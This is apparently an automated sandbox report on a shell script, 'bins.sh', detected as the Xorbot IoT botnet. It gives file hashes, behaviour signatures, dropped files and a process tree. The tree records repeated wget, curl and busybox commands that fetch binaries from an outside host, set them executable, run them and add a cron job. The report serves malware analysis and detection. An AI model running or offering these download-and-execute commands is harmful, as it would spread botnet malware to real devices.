Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    10/12/2024, 08:16

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    672174c51ac134a17ea9070d6a4d9787

  • SHA1

    b96ae1e73a9ed3d8ef312776bafa255c43550aa1

  • SHA256

    2aa561a1214f0e685c870f3b029c4872f4a14fde1690aa6835589a9bee294fbb

  • SHA512

    94769fdd9da1f94001aa6ac3176efff4af823d98b58f8b31c434eb372eeb7ae402608ebb03519a4183791fe1a1b9bf49cebde0af1e10dfda620cbca228f609ac

  • SSDEEP

    192:/2V9eH7wrL7K5FdUSPxdCKj10IQu5V9eH7cL7K5FXPrPCKj10IC:/orL7K5FdUCGuTL7K5F3U

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1774) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 26 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:725
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:735
        • /bin/chmod
          chmod 777 KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
          ./KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
          2⤵
          • Executes dropped EXE
          PID:738
        • /bin/rm
          rm KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
          2⤵
            PID:740
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:741
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:742
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod 777 0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps
            ./0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:746
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:748
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:749
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:750
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:751
                • /bin/rm
                  rm 0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps
                  2⤵
                    PID:753
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf
                    2⤵
                    • System Network Configuration Discovery
                    PID:840
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf
                    2⤵
                    • System Network Configuration Discovery
                    PID:841
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:842
                  • /bin/chmod
                    chmod 777 3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf
                    2⤵
                    • File and Directory Permissions Modification
                    PID:843
                  • /tmp/3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf
                    ./3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf
                    2⤵
                    • Executes dropped EXE
                    PID:844
                  • /bin/rm
                    rm 3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf
                    2⤵
                      PID:846
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/zdwRWplfM7uF9rJkV3vJKiLcxWujmSWqVM
                      2⤵
                      • System Network Configuration Discovery
                      PID:847
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/zdwRWplfM7uF9rJkV3vJKiLcxWujmSWqVM
                      2⤵
                      • System Network Configuration Discovery
                      PID:852
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/zdwRWplfM7uF9rJkV3vJKiLcxWujmSWqVM
                      2⤵
                      • System Network Configuration Discovery
                      PID:856
                    • /bin/chmod
                      chmod 777 zdwRWplfM7uF9rJkV3vJKiLcxWujmSWqVM
                      2⤵
                      • File and Directory Permissions Modification
                      PID:857
                    • /tmp/zdwRWplfM7uF9rJkV3vJKiLcxWujmSWqVM
                      ./zdwRWplfM7uF9rJkV3vJKiLcxWujmSWqVM
                      2⤵
                        PID:862
                      • /bin/rm
                        rm zdwRWplfM7uF9rJkV3vJKiLcxWujmSWqVM
                        2⤵
                          PID:863
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/CWNead6Zm5VcaiCcEI642isEINfpRgc5MK
                          2⤵
                          • System Network Configuration Discovery
                          PID:864
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/CWNead6Zm5VcaiCcEI642isEINfpRgc5MK
                          2⤵
                          • System Network Configuration Discovery
                          PID:869
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/CWNead6Zm5VcaiCcEI642isEINfpRgc5MK
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:870
                        • /bin/chmod
                          chmod 777 CWNead6Zm5VcaiCcEI642isEINfpRgc5MK
                          2⤵
                          • File and Directory Permissions Modification
                          PID:871
                        • /tmp/CWNead6Zm5VcaiCcEI642isEINfpRgc5MK
                          ./CWNead6Zm5VcaiCcEI642isEINfpRgc5MK
                          2⤵
                          • Executes dropped EXE
                          PID:872
                        • /bin/rm
                          rm CWNead6Zm5VcaiCcEI642isEINfpRgc5MK
                          2⤵
                            PID:874
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/AG18R7AzCQJyEYEUTLuS7Za9EHNTDczYLj
                            2⤵
                            • System Network Configuration Discovery
                            PID:875
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/AG18R7AzCQJyEYEUTLuS7Za9EHNTDczYLj
                            2⤵
                            • System Network Configuration Discovery
                            PID:877
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/AG18R7AzCQJyEYEUTLuS7Za9EHNTDczYLj
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:879
                          • /bin/chmod
                            chmod 777 AG18R7AzCQJyEYEUTLuS7Za9EHNTDczYLj
                            2⤵
                            • File and Directory Permissions Modification
                            PID:885
                          • /tmp/AG18R7AzCQJyEYEUTLuS7Za9EHNTDczYLj
                            ./AG18R7AzCQJyEYEUTLuS7Za9EHNTDczYLj
                            2⤵
                            • Executes dropped EXE
                            PID:886
                          • /bin/rm
                            rm AG18R7AzCQJyEYEUTLuS7Za9EHNTDczYLj
                            2⤵
                              PID:889
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/pyiIE08ZFx7m4qHWXMT6muYLiWMicBBNnc
                              2⤵
                              • System Network Configuration Discovery
                              PID:891
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/pyiIE08ZFx7m4qHWXMT6muYLiWMicBBNnc
                              2⤵
                              • System Network Configuration Discovery
                              PID:892
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/pyiIE08ZFx7m4qHWXMT6muYLiWMicBBNnc
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:894
                            • /bin/chmod
                              chmod 777 pyiIE08ZFx7m4qHWXMT6muYLiWMicBBNnc
                              2⤵
                              • File and Directory Permissions Modification
                              PID:898
                            • /tmp/pyiIE08ZFx7m4qHWXMT6muYLiWMicBBNnc
                              ./pyiIE08ZFx7m4qHWXMT6muYLiWMicBBNnc
                              2⤵
                              • Executes dropped EXE
                              PID:899
                            • /bin/rm
                              rm pyiIE08ZFx7m4qHWXMT6muYLiWMicBBNnc
                              2⤵
                                PID:902
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/KtZzzJc3RD7W95KDtC77ZeY5AwCnzxLcaA
                                2⤵
                                • System Network Configuration Discovery
                                PID:903
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/KtZzzJc3RD7W95KDtC77ZeY5AwCnzxLcaA
                                2⤵
                                • System Network Configuration Discovery
                                PID:905
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/KtZzzJc3RD7W95KDtC77ZeY5AwCnzxLcaA
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:907
                              • /bin/chmod
                                chmod 777 KtZzzJc3RD7W95KDtC77ZeY5AwCnzxLcaA
                                2⤵
                                • File and Directory Permissions Modification
                                PID:913
                              • /tmp/KtZzzJc3RD7W95KDtC77ZeY5AwCnzxLcaA
                                ./KtZzzJc3RD7W95KDtC77ZeY5AwCnzxLcaA
                                2⤵
                                • Executes dropped EXE
                                PID:914
                              • /bin/rm
                                rm KtZzzJc3RD7W95KDtC77ZeY5AwCnzxLcaA
                                2⤵
                                  PID:918
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/XZ14OWSfXw9k3FvKxB4NzJikEG7RGx9GGh
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:920
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/XZ14OWSfXw9k3FvKxB4NzJikEG7RGx9GGh
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:922

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /tmp/3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf

                                Filesize

                                111KB

                                MD5

                                ca897a38f23ec23521ce0b1b83f8422d

                                SHA1

                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                SHA256

                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                SHA512

                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                              • /tmp/AG18R7AzCQJyEYEUTLuS7Za9EHNTDczYLj

                                Filesize

                                177KB

                                MD5

                                786d75a158fe731feca3880f436082c0

                                SHA1

                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                SHA256

                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                SHA512

                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              • /tmp/CWNead6Zm5VcaiCcEI642isEINfpRgc5MK

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /tmp/KtZzzJc3RD7W95KDtC77ZeY5AwCnzxLcaA

                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              • /tmp/KwJs76sj89zPnCwtoBLzpToisGdNCofOmr

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/pyiIE08ZFx7m4qHWXMT6muYLiWMicBBNnc

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /var/spool/cron/crontabs/tmp.dRx5A0

                                Filesize

                                210B

                                MD5

                                aca8066c082ae875aba880bacaed7e61

                                SHA1

                                484764bf9ffed45af4ca181d2907da01778f06d9

                                SHA256

                                ddc29dc0fb176f891b8fb626781f6aa0dec1f2aa1a09f744b486cfaa2757873e

                                SHA512

                                93bed79522fc05b555262534aed355d785ec100f9816ee37bdfb53a7b951af96811293f4fca337aabd2a2a4b181c508c4a39ced43611c8a7d491d8b3fc1e06d1